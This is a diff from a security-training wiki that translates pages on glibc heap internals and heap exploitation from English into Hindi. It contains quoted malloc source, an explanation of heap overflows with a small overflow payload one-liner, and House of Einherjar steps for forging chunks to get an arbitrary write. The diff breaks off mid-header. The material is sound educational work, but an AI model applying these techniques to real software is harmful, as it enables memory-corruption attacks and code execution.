MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +आवंटन को समाप्त करें और एरेना जानकारी को अपडेट करें ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +sysmalloc_mmap कोड ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..0cccba633 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### कोड ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,60 +10,59 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` - -### Graphical Explanation +### ग्राफिकल व्याख्या Check this great graphical explanation of the unlink process:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### सुरक्षा जांच - Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk - Check also that `P->fd->bk == P` and `P->bk->fw == P` - If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` -### Leaks +### लीक An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..0c56a5588 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,47 +4,45 @@ ## Basic Information -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +Heap overflow एक [**stack overflow**](../stack-overflow/) की तरह है लेकिन heap में। मूल रूप से इसका मतलब है कि heap में कुछ डेटा स्टोर करने के लिए कुछ स्थान आरक्षित किया गया था और **स्टोर किया गया डेटा आरक्षित स्थान से बड़ा था।** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +Stack overflows में हम जानते हैं कि कुछ रजिस्टर जैसे कि इंस्ट्रक्शन पॉइंटर या स्टैक फ्रेम को स्टैक से पुनर्स्थापित किया जाएगा और इसे दुरुपयोग करना संभव हो सकता है। Heap overflows के मामले में, **डिफ़ॉल्ट रूप से heap chunk में कोई संवेदनशील जानकारी स्टोर नहीं की गई है** जिसे ओवरफ्लो किया जा सके। हालाँकि, यह संवेदनशील जानकारी या पॉइंटर्स हो सकती है, इसलिए इस भेद्यता की **गंभीरता** **इस पर निर्भर करती है कि** **कौन सा डेटा ओवरराइट किया जा सकता है** और एक हमलावर इसे कैसे दुरुपयोग कर सकता है। > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> ओवरफ्लो ऑफसेट खोजने के लिए आप [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets) में समान पैटर्न का उपयोग कर सकते हैं। ### Stack Overflows vs Heap Overflows -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +Stack overflows में उस समय स्टैक में मौजूद डेटा और व्यवस्था जब भेद्यता को सक्रिय किया जा सकता है, काफी विश्वसनीय होती है। इसका कारण यह है कि स्टैक रैखिक है, हमेशा टकराते मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर स्टैक मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले स्टैक भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है। -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आरक्षित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होती हैं** (एक के बगल में नहीं) क्योंकि **बिन और ज़ोन** आकार के अनुसार आवंटन को अलग करते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स को आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है** जो heap overflow के लिए संवेदनशील है। इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **वांछित ऑब्जेक्ट को मेमोरी में अगले स्थान पर लाने का एक विश्वसनीय तरीका खोजा जाए** जो ओवरफ्लो किया जा सकता है। -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +इसका एक तकनीक **Heap Grooming** है जिसका उपयोग उदाहरण के लिए [**इस पोस्ट में**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) किया गया है। पोस्ट में यह समझाया गया है कि जब iOS कर्नेल में एक ज़ोन में मेमोरी खत्म हो जाती है, तो यह इसे एक कर्नेल पृष्ठ द्वारा बढ़ाता है, और यह पृष्ठ अपेक्षित आकार के चंक्स में विभाजित होता है जो क्रम में उपयोग किए जाएंगे (iOS संस्करण 9.2 तक, फिर ये चंक्स यादृच्छिक तरीके से उपयोग किए जाते हैं ताकि इन हमलों के शोषण को कठिन बनाया जा सके)। -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +इसलिए, पिछले पोस्ट में जहां heap overflow हो रहा है, ओवरफ्लो किए गए ऑब्जेक्ट को एक पीड़ित ऑर्डर के साथ टकराने के लिए, कई **`kallocs` को कई थ्रेड्स द्वारा मजबूर किया जाता है ताकि यह सुनिश्चित किया जा सके कि सभी मुक्त चंक्स भरे हुए हैं और एक नया पृष्ठ बनाया गया है**। -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +विशिष्ट आकार के ऑब्जेक्ट के साथ इस भराई को मजबूर करने के लिए, **iOS mach port से संबंधित आउट-ऑफ-लाइन आवंटन** एक आदर्श उम्मीदवार है। संदेश के आकार को तैयार करके, `kalloc` आवंटन के आकार को सटीक रूप से निर्दिष्ट करना संभव है और जब संबंधित mach port नष्ट होता है, तो संबंधित आवंटन तुरंत `kfree` पर वापस जारी किया जाएगा। -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` फ्री लिस्ट तत्वों को अंतिम-में-प्रथम-से-निकालने के क्रम में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स मुक्त किए जाते हैं और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा। ### Example libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**इस पृष्ठ में**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) एक बुनियादी Heap overflow अनुकरण पाया जा सकता है जो दिखाता है कि अगले चंक के पूर्व में उपयोग बिट और पूर्व आकार की स्थिति को ओवरराइट करके **एक उपयोग किए गए चंक को समेकित करना** (इसे अनयूज्ड समझाना) और **फिर से इसे आवंटित करना** संभव है जिससे कि एक अलग पॉइंटर में उपयोग किए जा रहे डेटा को ओवरराइट किया जा सके। -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) से एक और उदाहरण एक बहुत बुनियादी CTF का उदाहरण दिखाता है जहां **heap overflow** का दुरुपयोग करके विजेता फ़ंक्शन को **फ्लैग प्राप्त करने के लिए** कॉल किया जा सकता है। -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) उदाहरण में यह देखा जा सकता है कि एक बफर ओवरफ्लो का दुरुपयोग करके **एक निकट चंक में एक पता ओवरराइट करना** संभव है जहां **उपयोगकर्ता से मनमाना डेटा** लिखा जाएगा। ### Example ARM64 -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: - +पृष्ठ [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) में आप एक heap overflow उदाहरण पा सकते हैं जहां एक कमांड जो निष्पादित होने वाली है, ओवरफ्लो किए गए चंक से अगले चंक में स्टोर की गई है। इसलिए, इसे एक आसान शोषण जैसे कि इसे ओवरराइट करके निष्पादित कमांड को संशोधित करना संभव है: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### अन्य उदाहरण - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- हम Heap Overflow प्राप्त करने के लिए एक Integer Overflow भेद्यता का उपयोग करते हैं। +- हम एक `struct` के अंदर एक फ़ंक्शन के लिए पॉइंटर्स को भ्रष्ट करते हैं जो ओवरफ्लो किए गए चंक में है ताकि `system` जैसे फ़ंक्शन को सेट किया जा सके और कोड निष्पादन प्राप्त किया जा सके। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..c4cb3cd07 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -6,44 +6,44 @@ ### Code -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) से उदाहरण देखें +- या [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) से (आपको tcache भरने की आवश्यकता हो सकती है) ### Goal -- The goal is to allocate memory in almost any specific address. +- लक्ष्य लगभग किसी भी विशिष्ट पते पर मेमोरी आवंटित करना है। ### Requirements -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- जब हम एक चंक आवंटित करना चाहते हैं तो एक नकली चंक बनाएं: +- सैनीटी चेक को बायपास करने के लिए पॉइंटर्स को अपने आप पर सेट करें +- `PREV_INUSE` फ्लैग को संशोधित करने के लिए एक चंक से अगले चंक में एक बाइट ओवरफ्लो के साथ एक नल बाइट। +- नल द्वारा अपमानित चंक के `prev_size` में अपने और नकली चंक के बीच का अंतर इंगित करें +- नकली चंक का आकार भी सैनीटी चेक को बायपास करने के लिए समान आकार में सेट किया जाना चाहिए +- इन चंक्स का निर्माण करने के लिए, आपको एक हीप लीक की आवश्यकता होगी। ### Attack -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- `A` नकली चंक एक चंक के अंदर बनाया गया है जिसे हमलावर द्वारा नियंत्रित किया जाता है जो मूल चंक को बायपास करने के लिए `fd` और `bk` के साथ इंगित करता है +- 2 अन्य चंक्स (`B` और `C`) आवंटित किए जाते हैं +- `B` में एक द्वारा एक का दुरुपयोग करते हुए `prev in use` बिट को साफ किया जाता है और `prev_size` डेटा को `C` चंक के आवंटन के स्थान से पहले उत्पन्न नकली `A` चंक के बीच के अंतर के साथ ओवरराइट किया जाता है +- यह `prev_size` और नकली चंक `A` में आकार समान होना चाहिए ताकि चेक को बायपास किया जा सके। +- फिर, tcache भरा जाता है +- फिर, `C` को मुक्त किया जाता है ताकि यह नकली चंक `A` के साथ समेकित हो जाए +- फिर, एक नया चंक `D` बनाया जाता है जो नकली `A` चंक में शुरू होगा और `B` चंक को कवर करेगा +- Einherjar का घर यहाँ समाप्त होता है +- इसे एक तेज़ बिन हमले या Tcache विषाक्तता के साथ जारी रखा जा सकता है: +- तेज़ बिन / Tcache में जोड़ने के लिए `B` को मुक्त करें +- `B` का `fd` ओवरराइट किया जाता है जिससे यह लक्षित पते की ओर इंगित करता है जो `D` चंक का दुरुपयोग करता है (क्योंकि इसमें `B` शामिल है) +- फिर, 2 mallocs किए जाते हैं और दूसरा **लक्षित पते को आवंटित करने जा रहा है** ## References and other examples - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- पॉइंटर्स को मुक्त करने के बाद उन्हें नल नहीं किया जाता है, इसलिए उनके डेटा तक पहुंचना अभी भी संभव है। इसलिए एक चंक अनसॉर्टेड बिन में रखा जाता है और इसमें शामिल पॉइंटर्स को लीक किया जाता है (libc leak) और फिर एक नया हीप अनसॉर्टेड बिन पर रखा जाता है और इसे प्राप्त किए गए पॉइंटर से एक हीप पता लीक किया जाता है। - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- `strtok` में नल-बाइट ओवरफ्लो बग। +- Tcache विषाक्तता के साथ एक ओवरलैपिंग चंक्स स्थिति प्राप्त करने और मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए House of Einherjar का उपयोग करें। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..322aab9a6 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ 